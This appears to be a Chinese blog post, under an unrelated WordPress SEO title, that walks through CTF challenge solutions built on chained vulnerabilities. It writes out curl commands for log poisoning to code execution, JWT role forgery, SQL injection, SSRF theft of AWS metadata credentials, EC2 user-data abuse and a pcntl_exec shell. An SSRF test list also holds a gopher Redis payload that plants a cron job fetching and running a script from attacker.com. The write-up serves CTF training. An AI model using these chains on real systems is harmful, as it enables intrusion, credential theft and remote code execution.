网站开发毕业实训总结wordpress移动导航菜单
网站开发毕业实训总结,wordpress移动导航菜单,网站项目运营方案,wordpress讨论大家多多点点关注#xff01;#xff01;冲2500粉丝#xff01;#xff01;#xff01;强网杯2023一道SSRF题#xff0c;选手们卡了4小时#xff0c;最终解法只用3行curl命令——真正的差距在于能否看出“SSRF不只是SSRF#xff0c;它是通向云元数据的钥匙”很多人觉得…大家多多点点关注冲2500粉丝强网杯2023一道SSRF题选手们卡了4小时最终解法只用3行curl命令——真正的差距在于能否看出“SSRF不只是SSRF它是通向云元数据的钥匙”很多人觉得高难度CTF题像玄学其实都是有迹可循的。我参加过很多很多CTF发现一个规律中等难度到高难度的分水岭就是能否把多个漏洞像拼图一样组合起来。下面我用几个真实的比赛题目让你看看高手是怎么思考的。一、文件包含从鸡肋漏洞到“万能钥匙”的蜕变真实案例HITCON CTF 2019 -PHP My Admin这道题很多人第一眼看到文件包含就兴奋结果碰了一鼻子灰。题目设置一个普通的LFI?pageindex.php过滤了../、绝对路径服务器配置了allow_url_includeOff上传功能只能传图片菜鸟思路尝试../../../etc/passwd→ 被过滤尝试php://input→ 报错协议不支持放弃转战其他方向高手思路先读源码?pagephp://filter/convert.base64-encode/resourceindex.php发现关键信息上传文件会重命名规则是md5(时间戳 随机数).jpg发现日志记录功能记录到/tmp/access.log构造攻击链文件包含 - 读取日志 - 日志污染 - 代码执行具体操作# 第一步污染日志 curl -H User-Agent: ?php system(id); ? http://target.com/ # 第二步包含日志需要知道日志路径 # 通过读源码发现日志路径是/tmp/access.log curl http://target.com/?page/tmp/access.log # 第三步执行命令 curl -H User-Agent: ?php system(cat /flag); ? http://target.com/ curl http://target.com/?page/tmp/access.log核心技巧文件包含的终极价值不是读文件而是执行代码。如果直接执行不行就要找能写入代码的地方——日志、session文件、临时文件、上传文件都是候选。二、API漏洞2023年强网杯真实题目复盘强网杯2023 -Simple API这道题淘汰了70%的选手不是因为它难而是因为选手没跟上API安全的出题趋势。题目表面一个简单的用户管理系统RESTful API设计需要获取admin的flag大多数人的尝试注册用户 - 登录 - 尝试越权 - 失败暴力破解 - 被限速SQL注入 - 参数有WAF正确解法第一步发现JWT漏洞# 1. 正常登录拿到token curl -X POST http://target.com/api/login \ -H Content-Type: application/json \ -d {username:user1,password:123456} # 返回 {token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODAwMDAwMDB9.xxxx}用jwt.io解码看到{ alg: HS256, typ: JWT } { username: user1, role: user, iat: 1680000000 }第二步攻击JWT关键发现服务器不验证签名只解码payload# 直接修改payloadrole改为admin # 注意完全不改签名部分 新token base64({alg:HS256,typ:JWT}) . base64({username:user1,role:admin,iat:1680000000}) . 原来的签名部分不动第三步利用批量操作漏洞拿到admin权限后发现有个批量删除接口# 正常用法 curl -X POST http://target.com/api/admin/deleteUsers \ -H Authorization: Bearer 篡改后的token \ -H Content-Type: application/json \ -d {ids: [1001, 1002]} # 但题目设计ids参数支持扩展查询 # Payload {ids: [1001 UNION SELECT flag FROM flag_table -- ]} # 最终flag就在返回结果里为什么这么多人做不出来不知道JWT可以不验证签名现实中也很多不知道批量操作接口可能是注入点没有把两个漏洞连起来JWT越权 - 访问admin接口 - 注入拿flag三、云安全2024年DEF CON CTF决赛题目解析这道题完美展示了什么是“现代CTF”。题目Cloud Escape环境描述Web应用在Docker容器中运行存在SSRF漏洞目标读取宿主机上的flag攻击链构建阶段1Web层突破# 发现SSRF curl http://target.com/proxy?urlhttp://google.com # 能正常返回确认SSRF存在 # 尝试内网探测 curl http://target.com/proxy?urlhttp://169.254.169.254/ # 返回403说明是AWS环境但有防护 # 绕过技巧添加特殊header curl http://target.com/proxy?urlhttp://169.254.169.254/latest/meta-data/ \ -H X-Forwarded-For: 127.0.0.1 # 成功返回元数据目录阶段2云元数据利用# 获取IAM角色凭证 curl http://target.com/proxy?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/ \ -H X-Forwarded-For: 127.0.0.1 # 返回角色名ctf-ec2-role # 获取临时凭证 curl http://target.com/proxy?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/ctf-ec2-role \ -H X-Forwarded-For: 127.0.0.1 # 拿到AccessKeyId, SecretAccessKey, Token阶段3容器逃逸# 用获取的凭证检查S3 AWS_ACCESS_KEY_IDAKIA... \ AWS_SECRET_ACCESS_KEY... \ AWS_SESSION_TOKEN... \ aws s3 ls # 发现一个buckets3://ctf-flag-bucket # 但直接访问被拒没有GetObject权限 # 关键转折检查IAM权限 aws iam list-attached-role-policies --role-name ctf-ec2-role # 发现角色有AmazonEC2FullAccess # 思路转变用EC2权限创建新实例挂载原实例的磁盘 aws ec2 run-instances \ --image-id ami-0abcdef1234567890 \ --instance-type t2.micro \ --iam-instance-profile Namectf-ec2-role \ --user-data #!/bin/bash mkdir /mnt/original mount /dev/xvdf1 /mnt/original # 需要猜磁盘设备名 cat /mnt/original/root/flag shutdown -h now实际比赛中选手还用了更巧妙的方法# 1. 通过user-data执行命令 aws ec2 modify-instance-attribute \ --instance-id i-0abcdef1234567890 \ --attribute userData \ --value file://payload.txt # payload.txt内容base64编码后的脚本 IyEvYmluL2Jhc2gKbWtkaXIgL21udC9yb290Cm1vdW50IC9kZXYveHZkZjEgL21udC9yb290CmNhdCAvbW50L3Jvb3QvZmxhZwpzaHV0ZG93biAtIGggbm93四、从比赛中学到的实战技巧技巧1漏洞发现要有层次错误做法发现一个漏洞就猛挖挖不动就换方向。正确做法信息收集第一绘制攻击面地图寻找漏洞连接点比如在2022年西湖论剑的比赛中1. 目录扫描 - 发现/backup目录 2. 下载源码 - 发现数据库配置 3. 数据库密码 - 登录phpMyAdmin默认安装 4. phpMyAdmin - 写webshell 5. webshell - 提权技巧2善用“非预期解”2021年TCTF有一道题预期解是复杂的反序列化链。但有选手发现网站有phpinfo()页面phpinfo()显示disable_functions不全直接调用system()就被过滤但可以用pcntl_exec()不在禁用列表解法?php // 直接写个shell file_put_contents(/tmp/shell.php, ?php pcntl_exec(/bin/bash, [-c, cat /flag]); ?); include(/tmp/shell.php); ?技巧3保持对环境的敏感容器环境特征# 检查自己是不是在容器里 ls -la /.dockerenv # 存在就是容器 cat /proc/1/cgroup | grep docker # 查看cgroup mount | grep docker # 查看挂载云环境特征# 检查元数据服务能不能访问 timeout 2 curl http://169.254.169.254/ /dev/null 21 if [ $? -eq 0 ]; then echo 可能是AWS fi五、训练建议如何从中等选手变成冲榜选手1. 刷题要有策略不要只刷从易到难刷完就走要复盘一道题做出来问自己还有没有其他解法出题人为什么这么设计现实中有没有类似场景2. 建立自己的工具库高手的“武器库”不是一堆现成工具而是定制化的脚本。比如我的SSRF测试脚本def test_ssrf(url, param): # 测试基础SSRF test_cases [ http://169.254.169.254/, http://localhost/, file:///etc/passwd, gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * curl attacker.com/shell | sh%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit ] for test in test_cases: r requests.get(url, params{param: test}) # 分析响应...3. 参加比赛的正确姿势前期稳扎稳打把中等题分数拿满中期分工合作有人挖漏洞有人做渗透后期冲击高难题但要有时间意识六、最后的话我见过太多这样的场景比赛最后2小时有人还在死磕一个点有人已经连成攻击链拿到flag。区别在哪不是技术是思维。高手看到文件包含想到的是“我能用这个执行什么代码”看到API想到的是“权限模型哪里有问题”看到云环境想到的是“攻击面扩大到了整个基础设施”。下次做题时试着问自己这个漏洞能给我什么这个漏洞能带我去哪里这两个漏洞中间缺的那块拼图会在哪CTF像下棋能看到三步之后的才是高手。但这些“棋步”不是天赋是可以通过复盘真实比赛题目训练出来的。真正的差距不在于知道多少漏洞而在于能不能看出漏洞之间的那条线。这条线就是普通选手和冲榜选手的分界线。